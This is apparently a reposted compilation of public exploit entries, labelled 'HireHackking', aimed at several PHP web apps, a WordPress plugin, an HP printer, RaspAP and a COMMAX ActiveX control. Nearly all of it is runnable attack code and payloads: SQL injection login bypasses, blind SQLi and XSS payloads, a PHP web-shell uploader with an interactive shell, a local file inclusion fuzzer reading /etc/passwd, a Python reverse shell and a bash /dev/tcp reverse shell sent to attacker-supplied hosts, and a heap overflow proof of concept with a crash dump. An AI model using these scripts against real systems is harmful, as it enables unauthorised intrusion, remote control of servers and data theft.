# Software Link: https://www.sourcecodester.com/download-code?nid=14400&title=Laundry+Booking+Management+System+in+PHP+with+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description:
Laundry Booking Management System 1.0 application is vulnerable to SQL
injection via the "id" parameter, which was not properly checked on the
[edit_user.php,edit_customer.php,edit_order.php] page.

#Vulnerable Request when logged in as a user with Supervisor or Manager:
POST /laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7
Content-Type: multipart/form-data;
boundary=---------------------------851226474159708868105526498
Content-Length: 1408
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=7' AND (SELECT 5999 FROM (SELECT(SLEEP(5)))BOpa) AND
'voSh'='voSh
---

-----------------------------------------------------------------------------------------------------------------------


#Vulnerable Request when logged in as Admin:
POST /laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1
Content-Type: multipart/form-data;
boundary=---------------------------17781030011592905058578147050
Content-Length: 767
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1

---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6874 FROM (SELECT(SLEEP(5)))ZCjC) AND
'GIau'='GIau
---

-----------------------------------------------------------------------------------------------------------------------

#Vulnerable Request when logged in a Admin:
POST /laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18
Content-Type: multipart/form-data;
boundary=---------------------------167059892515401580571429373524
Content-Length: 886
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=18' AND (SELECT 8201 FROM (SELECT(SLEEP(5)))odDG) AND
'wCli'='wCli
---
HireHackking 
# Exploit Title: Laundry Booking Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 2021-08-19
# Exploit Author: Azumah Foresight Xorlali
# Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14400&title=Laundry+Booking+Management+System+in+PHP+with+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Step1: Log in to the application with any valid user credentials.
Step2: Select User Management and click add new user.
Step3: Fill the required details and type "<script>alert(document.domain)</script>" in the address box  or you can it on a notepad and paste it into the firstname and lastname since it doesn't you to type special characters into those fields
Step 4:Click on  Submit
HireHackking 
# Exploit Title: Online Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 20-08-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: V1
# Category: Webapps
# Tested on: Linux/Windows

# Online Traffic Offense Management System
# contains a file upload vulnerability that allows for remote 
# code execution against the target.  This exploit requires 
# the user to be authenticated, but a SQL injection in the login form 
# allows the authentication controls to be bypassed
# File uploaded from "/admin/?page=user" has no validation check
# and the directory it is placed in allows for execution of PHP code.


"""
(hltakydn@SpaceSec)-[~/Exploits-db/traffic_offense]
$ python2 exploit.py

Example: http://example.com

Url: http://trafficoffense.com

[?] Check Adress

[+] Bypass Login

[+] Upload Shell

[+] Exploit Done!

$ whoami
www-data

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ pwd
/var/www/html/uploads

$ 

"""



#!/usr/bin/env python2
import requests
import time
from bs4 import BeautifulSoup

print ("\nExample: http://example.com\n")

url = raw_input("Url: ")
payload_name = "evil.php"
payload_file = "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"

if url.startswith(('http://', 'https://')):
    print "Check Url ...\n"
else:
    print "\n[?] Check Adress\n"
    url = "http://" + url

try:
    response = requests.get(url)
except requests.ConnectionError as exception:
    print("[-] Address not reachable")
    sys.exit(1)

session = requests.session()

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "'' OR 1=1-- '", "password": "'' OR 1=1-- '"}
bypass_user = session.post(request_url, data=post_data)


if bypass_user.text == '{"status":"success"}':
    print ("[+] Bypass Login\n")
    cookies = session.cookies.get_dict()
    req = session.get(url + "/admin/?page=user")
    parser = BeautifulSoup(req.text, 'html.parser')
    userid = parser.find('input', {'name':'id'}).get("value")
    firstname = parser.find('input', {'id':'firstname'}).get("value")
    lastname = parser.find('input', {'id':'lastname'}).get("value")
    username = parser.find('input', {'id':'username'}).get("value")

    request_url = url + "/classes/Users.php?f=save"
    headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryxGKa5dhQCRwOodsq", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
    data = "------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ userid +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+ firstname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+ lastname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+ username +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+ payload_name +"\"\r\nContent-Type: application/x-php\r\n\r\n" + payload_file +"\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq--\r\n"
    upload = session.post(request_url, headers=headers, cookies=cookies, data=data)            
    time.sleep(2)

    if upload.text == "1":
        print ("[+] Upload Shell\n")
        time.sleep(2)
        req = session.get(url + "/admin/?page=user")
        parser = BeautifulSoup(req.text, 'html.parser')
        find_shell = parser.find('img', {'id':'cimg'})
        print ("[+] Exploit Done!\n")

        while True:
            cmd = raw_input("$ ")
            headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36'}
            request = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
            print request.text.replace("<pre>" ,"").replace("</pre>", "")
            time.sleep(1)

    elif upload.text == "2":
        print ("[-] Try the manual method")
        request_url = url + "/classes/Login.php?f=logout"
        cookies = session.cookies.get_dict()
        headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "sec-ch-ua-mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        session.get(request_url, headers=headers, cookies=cookies)
    else:
        print("[!]An unknown error")

else:
    print ("[-] Failed to bypass login panel")
HireHackking 
# Exploit Title: WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)
# Date: 2021-08-24
# Exploit Author: Matheus Alexandre [Xcatolin]
# Software Link: https://downloads.wordpress.org/plugin/mail-masta.zip
# Version: 1.0

WordPress Plugin Mail Masta is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input.

* Make sure to modify the wordlist path to your preferred wordlist. You can also download the one i used at Github: 
https://github.com/Xcatolin/Personal-Exploits/

#!/usr/bin/python

# Exploit for the Wordpress plugin mail-masta 1.0 LFI vulnerability

import requests
from requests.exceptions import ConnectionError

class bcolors:
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    ITALIC   = '\33[3m'

print(bcolors.BOLD + """\
                 __  __      _ _     __  __         _                  
                |  \/  |__ _(_) |___|  \/  |__ _ __| |_ __ _           
                | |\/| / _` | | |___| |\/| / _` (_-<  _/ _` |          
                |_|  |_\__,_|_|_|   |_|  |_\__,_/__/\__\__,_|          
  _                 _   ___ _ _       ___         _         _          
 | |   ___  __ __ _| | | __(_) |___  |_ _|_ _  __| |_  _ __(_)___ _ _  
 | |__/ _ \/ _/ _` | | | _|| | / -_)  | || ' \/ _| | || (_-< / _ \ ' \ 
 |____\___/\__\__,_|_| |_| |_|_\___| |___|_||_\__|_|\_,_/__/_\___/_||_|

			                           
					|_   .  \_/ _ _ |_ _ |. _  
					|_)\/.  / \(_(_||_(_)||| ) 
					   /                       
     """ + bcolors.ENDC)

endpoint = "/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl="
valid = "/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"


print (bcolors.WARNING + "[+] Insert the target including the WordPress instance:" + bcolors.ENDC)
print (bcolors.ITALIC + "ex: http://target.com/wordpress\n" + bcolors.ENDC)
target = raw_input("~# ")

print (bcolors.WARNING + "[*] Checking if the target is alive..." + bcolors.ENDC)
try:
	request = requests.get(target)
except ConnectionError:
	print (bcolors.FAIL + "[X] Target not available. Please check the URL you've entered." + bcolors.ENDC)
	exit(1)
else:
	print (bcolors.OKGREEN + "[!] Target up and running!\n" + bcolors.ENDC)

print (bcolors.WARNING + "[*] Checking if the Mail-Masta endpoint is vulnerable..." + bcolors.ENDC)
try:
	response = requests.get(target + valid)
except len(response.content) < 1000 :
	print (bcolors.FAIL + "[X] Endpoint not vulnerable." + bcolors.ENDC)
	exit(1)
else:
	print (bcolors.OKGREEN + "[!] Endpoint vulnerable!\n" + bcolors.ENDC)

print (bcolors.WARNING + "[*] Fuzzing for files in the system..." + bcolors.ENDC)
wordlist='wordlist.txt' ## Change here
lines=open(wordlist, "r").readlines()

for i in range(0, len(lines)):
	word=lines[i].replace("\n","")
	response = requests.get(target + endpoint + word)
	if len(response.content) > 500 :
		print (bcolors.OKGREEN + "[!] " + bcolors.ENDC) + "File",word,"found!"
HireHackking 
# Exploit Title: HP OfficeJet 4630/7110 MYM1FN2025AR 2117A – Stored Cross-Site Scripting (XSS)
# Date: 01/08/2021
# Exploit Author: Tyler Butler
# Vendor Homepage: https://www8.hp.com/
# Vendor Bulletin: https://support.hp.com/ie-en/document/ish_4433829-4433857-16/hpsbpi03742
# Researcher Bulletin: https://tbutler.org/2021/04/29/hp-officejet-4630
# Version: HP OfficeJet 7110 Wide Format ePrinter
# Tested on: HP Officejet 4630 e-All-in-One Printer series model number B4L03A

# PoC:
import requests
import json
from requests.exceptions import HTTPError

target = 'http://192.168.223.1'   # The IP of the vulnerable taget 
payload = '''<script>alert('XSS');</script>'''  # The XSS injection payload you want to use 
path='/DevMgmt/ProductConfigDyn.xml'   # Path location of the PUT command
pre = '''
<?xml version="1.0" encoding="UTF-8"?>
<!-- THIS DATA SUBJECT TO DISCLAIMER(S) INCLUDED WITH THE PRODUCT OF ORIGIN. -->
<prdcfgdyn2:ProductConfigDyn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/" xmlns:prdcfgdyn2="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16" xmlns:prdcfgdyn="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16 ../schemas/ledm2/ProductConfigDyn.xsd                               http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05 ../schemas/ProductConfigDyn.xsd                               http://www.hp.com/schemas/imaging/con/dictionaries/1.0/ ../schemas/dd/DataDictionaryMasterLEDM.xsd">
	<prdcfgdyn2:ProductSettings>
		<prdcfgdyn:DeviceInformation>
			<dd:DeviceLocation>
'''  # The start of the request body
post = '''
            </dd:DeviceLocation>
		</prdcfgdyn:DeviceInformation>
	</prdcfgdyn2:ProductSettings>	
</prdcfgdyn2:ProductConfigDyn>
'''   # The end of the request body 
body = pre + payload + post


headers = {
            'Host':'192.168.223.1', 
            'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
            'Accept':'*/*',
            'Accept-Language':'en-US,en;q=0.5',
            'Accept-Encoding':'gzip, deflate',
            'Content-Type':'text/xml',
            'Content-Length':str(len(body.encode('utf-8'))),
            'Origin':'https://192.168.223.1',
            'Connection':'close',
            'Referer':target,
        }

print('{!} Starting HP Officejet 4630 XSS Injector .... \n    Author: Tyler Butler\n    @tbutler0x90')
try:
    print('{!} Injecting payload :',payload)
    response = requests.put(target+path, headers = headers, data = body)
    response.raise_for_status()
except HTTPError as http_err:
    print('{X}',f'HTTP error occurred: {http_err}') 
except Exception as err:
    print('{X}',f'Other error occurred: {err}')
else:
    print('{!} Success!')
HireHackking 
# Exploit Title: RaspAP 2.6.6 - Remote Code Execution (RCE) (Authenticated)
# Date: 23.08.2021
# Exploit Author: Moritz Gruber <moritz@aware7.de>
# Vendor Homepage: https://raspap.com/
# Software Link: https://github.com/RaspAP/raspap-webgui
# Version: 2.6.6
# Tested on: Linux raspberrypi 5.10.52-v7+

import requests
from requests.api import post
from requests.auth import HTTPBasicAuth
from bs4 import BeautifulSoup
import sys, re

if len(sys.argv) != 7:
    print("python3 exec-raspap.py <target-host> <target-port> <username> <password> <reverse-host> <reverse-port>")
    sys.exit()
else:  
    target_host = sys.argv[1]
    target_port = sys.argv[2]
    username = sys.argv[3]
    password = sys.argv[4]
    listener_host = sys.argv[5]
    listener_port = sys.argv[6]

    endpoint = "/wpa_conf"
    exploit = f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{listener_host}\",{listener_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
    url = "http://{}:{}/{}".format(target_host,target_port,endpoint)

    s = requests.Session()

    get_Request = s.get(url, auth=HTTPBasicAuth(username, password))
    soup = BeautifulSoup(get_Request.text, "lxml")
    csrf_token = soup.find("meta",{"name":"csrf_token"}).get("content")
   
    post_data = {
        "csrf_token": csrf_token,
        "connect": "wlan; {}".format(exploit)
    }
    post_Request = s.post(url, data=post_data, auth=HTTPBasicAuth(username, password))
    if post_Request.status_code:
        print("Exploit send.")
    else:
        print("Something went wrong.")
    print("Done")
HireHackking 
# Exploit Title: Simple Phone book/directory 1.0 - 'Username' SQL Injection (Unauthenticated)
# Date: 21/08/2021
# Exploit Author: Justin White
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/13011/phone-bookphone-directory.html
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP

## SQL Injection

# Vulnerable page
http://localhost/PhoneBook/index.php

# Vulnerable paramater 
username1 & password

# POC
Username = ' or sleep(5)='-- -
Password = ' '

Using these to login will have the webapp sleep for 5 seconds, then you will be logged in as "' or sleep(5)='-- -"

# Vulnerable Code
index.php line 13
$sql = mysqli_query($dbcon,"SELECT * FROM userdetails WHERE username = '$username' AND password = '$password'");
HireHackking 
# Exploit Title: Online Leave Management System 1.0 - Arbitrary File Upload to Shell (Unauthenticated)
# Date: 24-08-2021
# Exploit Author: Justin White
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html
# Version: V1
# Category: Webapps
# Tested on: Linux


#!/bin/env python3
import requests
import time
import sys
from colorama import Fore, Style

if len(sys.argv) != 4:
    print('python3 script.py <target url> <attacker ip> <attacker port>')
    print('Example: python3 script.py http://127.0.0.1/ 10.0.0.1 4444')
    exit()

else:
    try:
        url = sys.argv[1]
        attacker_ip = sys.argv[2]
        attacker_port = sys.argv[3]
        print()
        print('[*] Trying to login...')
        time.sleep(1)
        login = url + '/classes/Login.php?f=login'
        payload_name = "reverse_shell.php"
        payload_file = r"""<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/\"{}\"/{} 0>&1'");?>""".format(attacker_ip, attacker_port)
        session = requests.session()
        post_data = {"username": "'' OR 1=1-- -'", "password": "'' OR 1=1-- -'"}
        user_login = session.post(login, data=post_data)
        cookie = session.cookies.get_dict()

        if user_login.text == '{"status":"success"}':
            print('[' + Fore.GREEN + '+' + Style.RESET_ALL + ']' + ' Successfully Signed In!')
            upload_url = url + "/classes/Users.php?f=save"
            cookies = cookie
            headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------221231088029122460852571642112", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/leave_system/admin/?page=user"}
            data = "-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nAdminstrator\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nAdmin\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"img\"; filename=\"" + payload_name +"\"\r\nContent-Type: application/x-php\r\n\r\n\n " + payload_file + "\n\n\r\n-----------------------------221231088029122460852571642112--\r\n"
            print('[*] Trying to Upload Reverse Shell...')
            time.sleep(2)

            try:
                print('[' + Fore.GREEN + '+' + Style.RESET_ALL + ']' + ' Reverse Shell Uploaded!')
                upload = session.post(upload_url, headers=headers, cookies=cookie, data=data)
                upload_check = f'{url}/uploads'
                r = requests.get(upload_check)
                if payload_name in r.text:
                    
                    payloads = r.text.split('<a href="')
                    for load in payloads:

                        if payload_name in load:
                            payload = load.split('"')
                            payload = payload[0]
                        else:
                            pass
                else:
                    exit()

            except:
                print('[' + Fore.RED + '-' + Style.RESET_ALL + ']' + ' Upload failed try again in a little bit!!!!!!\n')
                exit()

            try:
                print('[' + Fore.GREEN + '+' + Style.RESET_ALL + ']' + ' Check Your Listener!\n')
                connect_url = url + '/uploads/'
                r = requests.get(connect_url + payload)

            except:
                print('[' + Fore.RED + '-' + Style.RESET_ALL + ']' + f' Failed to find reverse shell check {connect_url} or try again!\n')
                
        else:
            print('[' + Fore.RED + '-' + Style.RESET_ALL + ']' + ' Login failed!\n')

    except:
        print('[' + Fore.YELLOW + '!' + Style.RESET_ALL + ']' + ' Something Went Wrong!\n')
HireHackking 
# Exploit Title: COMMAX UMS Client ActiveX Control 1.7.0.2 - 'CNC_Ctrl.dll' Heap Buffer Overflow
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX UMS Client ActiveX Control 1.7.0.2 (CNC_Ctrl.dll) Heap Buffer Overflow


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: 1.7.0.2

Summary: COMMAX activex web viewer UMS client (32bit) for COMMAX
DVR/NVR.

Desc: The vulnerability is caused due to a boundary error in the
processing of user input, which can be exploited to cause a heap
based buffer overflow when a user inserts overly long array of
string bytes through several functions. Successful exploitation
could allow execution of arbitrary code on the affected node.

Tested on: Microsoft Windows 10 Home (64bit) EN
           Microsoft Internet Explorer 20H2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5664
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5664.php


02.08.2021

--


<!-- functions: rtsp_forceconnect_login() and rtsp_connect_login() -->
<!-- parameters: user_id, user_pwd and rtsp_addr                   -->
<html>
<object classid='clsid:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A' id='cel' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\CNC_CTRL.dll"
prototype  = "Function rtsp_forceconnect_login ( ByVal user_id As String ,  ByVal user_pwd As String ,  ByVal rtsp_addr As String ,  ByVal rtsp_port As Long ,  ByVal rtp_proto As Long ,  ByVal device As Long ,  ByVal islive As Long ,  ByVal ch As Long ) As Long"
memberName = "rtsp_forceconnect_login"
progid     = "CNC_CTRLLib.UMS_Ctrl"
argCount   = 8

arga=String(2510, "C")
argb=String(2510, "B")
argc=String(2510, "A")
argd=1
arge=1
argf=1
argg=1
argh=1

cel.rtsp_forceconnect_login arga ,argb ,argc ,argd ,arge ,argf ,argg ,argh 

</script>
</html>

==

(5b1c.59e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for CNC_Ctrl.DLL - 
CNC_Ctrl!DllUnregisterServer+0x19e34:
10028cf2 83a1d412000000  and     dword ptr [ecx+12D4h],0 ds:002b:000012d4=????????
0:000:x86> r
eax=00000001 ebx=10119db8 ecx=00000000 edx=81ff6f2e esi=058c0048 edi=00000001
eip=10028cf2 esp=030fcf10 ebp=030fe33c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
CNC_Ctrl!DllUnregisterServer+0x19e34:
10028cf2 83a1d412000000  and     dword ptr [ecx+12D4h],0 ds:002b:000012d4=????????
0:000:x86> !exchain
030feab4: 41414141
Invalid exception stack at 41414141
0:000:x86> d esp
030fcf10  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf20  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf40  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf50  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf60  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf70  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fcf80  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000:x86> d ebp
030fe33c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe34c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe35c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe36c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe37c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe38c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe39c  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
030fe3ac  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0:000:x86> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

GetUrlPageData2 (WinHttp) failed: 12002.

DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
CNC_Ctrl!DllUnregisterServer+18ee3
10027da1 8999d4120000    mov     dword ptr [ecx+12D4h],ebx

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 10027da1 (CNC_Ctrl!DllUnregisterServer+0x00018ee3)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 000012d4
Attempt to write to address 000012d4

FAULTING_THREAD:  000056a4

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

PROCESS_NAME:  wscript.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  000012d4

FOLLOWUP_IP: 
CNC_Ctrl!DllUnregisterServer+18ee3
10027da1 8999d4120000    mov     dword ptr [ecx+12D4h],ebx

WRITE_ADDRESS:  000012d4 

WATSON_BKT_PROCSTAMP:  7159f3df

WATSON_BKT_PROCVER:  5.812.10240.16384

PROCESS_VER_PRODUCT:  Microsoft ® Windows Script Host

WATSON_BKT_MODULE:  CNC_Ctrl.DLL

WATSON_BKT_MODSTAMP:  547ed821

WATSON_BKT_MODOFFSET:  27da1

WATSON_BKT_MODVER:  1.7.0.2

MODULE_VER_PRODUCT:  CNC_Ctrl Module

BUILD_VERSION_STRING:  10.0.19041.1023 (WinBuild.160101.0800)

MODLIST_WITH_TSCHKSUM_HASH:  d459299c6b0ff5b482d41c6445b84a3447c0171e

MODLIST_SHA1_HASH:  18e8e8c8cdd4f9db5369e6ca934fd1b74bcb19c1

NTGLOBALFLAG:  0

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  784

DUMP_TYPE:  fe

ANALYSIS_SESSION_HOST:  LAB17

ANALYSIS_SESSION_TIME:  08-12-2021 13:37:16.0907

ANALYSIS_VERSION: 10.0.16299.91 amd64fre

THREAD_ATTRIBUTES: 
OS_LOCALE:  ENU

PROBLEM_CLASSES: 

    ID:     [0n301]
    Type:   [@ACCESS_VIOLATION]
    Class:  Addendum
    Scope:  BUCKET_ID
    Name:   Omit
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x56a4]
    Frame:  [0] : CNC_Ctrl!DllUnregisterServer

    ID:     [0n274]
    Type:   [INVALID_POINTER_WRITE]
    Class:  Primary
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x56a4]
    Frame:  [0] : CNC_Ctrl!DllUnregisterServer

    ID:     [0n152]
    Type:   [ZEROED_STACK]
    Class:  Addendum
    Scope:  BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [0x56e4]
    TID:    [0x56a4]
    Frame:  [0] : CNC_Ctrl!DllUnregisterServer

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_ZEROED_STACK

PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT

IP_ON_HEAP:  61616161
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 61616161

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER:  from 61616161 to 10027da1

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
00afe294 61616161 61616161 61616161 61616161 CNC_Ctrl!DllUnregisterServer+0x18ee3
